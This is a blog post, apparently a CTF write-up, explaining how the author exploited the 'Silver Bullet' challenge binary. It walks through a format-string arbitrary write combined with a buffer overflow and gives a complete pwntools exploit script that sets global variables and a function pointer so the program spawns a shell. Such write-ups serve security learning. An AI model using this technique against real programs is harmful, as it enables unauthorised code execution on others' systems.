Blog of Malte Kraus


ASIS CTF: Silver Bullet - Format String Pwning 101

26 Nov 2018

We also notice a function we'll call run_global_cmd that basically does if (cmd_active == 1) { system(cmd_string); }, where the two variables are global.

So, with these constraints, we can figure out that a successful exploit must perform these steps:

* use a format string exploit to:
    * set `cmd_active` to `
    * set some buffer somewhere to the string 'sh'
    * set `cmd_string` to point to this buffer
* overflow the buffer in the inner function so that the function pointer is
  changed to point to `run_global_cmd`

If you're as rusty as me on format string attacks, here's a quick primer...

A format specifier like %20$n writes the number of written bytes to the int pointer given in 20th parameter to printf. By using hn or hhn instead of n, a short or char with the number of written bytes is written.

Since the buffer with user input is stored on the stack, we can just refer to its contents from the format string as the Nth parameter to printf. So writing to an arbitrary address is as simple as including that address in the user input, and figuring out the offset from the stack frame for printf.

Since writing large-ish 32bit values directly would require the generation of a huge amount of text, it is better to write each byte of the 32bit value individually.

To write e.g. 20 additional bytes to the output, a format specifier like %20c can be used.

By taking these things together, I ended up with this exploit script:

#!/usr/bin/env python2

from pwn import *
import sys
import os

context.arch = 'i386'

#p = process('./Silver_Bullet', stdout=PIPE)
p = remote('', 7331)
e = ELF('./Silver_Bullet')

cmd_string = 0x804a030 # the global variable used by run_global_cmd to find the pointer to the command for system()
cmd_active = 0x804a02c # the global variable used by run_global_cmd to decide whether to call system() or not
destruct_bool = 0x804a028 # some global variable used by a destructor. we clobber this to store the string 'sh'
run_global_cmd = 0x80486c7 # a function that basically does: if (cmd_active == 1) { system(cmd_string); }

# the stack buffer with our user input is the 20th parameter to printf
param_idx = 20
# the 20th byte in the buffer is used as a function pointer after strcpy
overflow_offset = 20

payload = ''

# overflow the strcpy into the function pointer
payload += overflow_offset * 'a'
payload += p32(run_global_cmd)

# store pointers we need to write to on the stack
payload += p32(cmd_active) # param 26 = (param_idx + len(payload) / 4)
payload += p32(destruct_bool) # param 27
payload += p32(cmd_string) # param 28
payload += p32(cmd_string + 1)
payload += p32(cmd_string + 2)
payload += p32(cmd_string + 3)
num_written = len(payload)

def write(value, param_index, num_bytes=1):
    max_val = 256 ** num_bytes
    global payload, num_written
    assert 0 <= value < max_val
    write = (value - num_written) % max_val
    num_written += write
    payload += '%{}c'.format(write)
    if num_bytes == 1:
        payload += '%{}$hhn'.format(param_index)
    elif num_bytes == 2:
        payload += '%{}$hn'.format(param_index)
    elif num_bytes == 4:
        payload += '%{}$n'.format(param_index)
        raise Exception("can't write {} bytes in a single operation".format(num_bytes))

# write 0x01 to cmd_active:
write(1, 26)

# write 'sh' to destruct_bool:
write(u16('sh'), 27, num_bytes=2)

# write destruct_bool to cmd_string
# do it byte-by-byte so that we don't have to wait for a ton of useless data to be printed
for param, c in enumerate(p32(destruct_bool), start=28):
    write(ord(c), param)

p.sendline('echo abcd')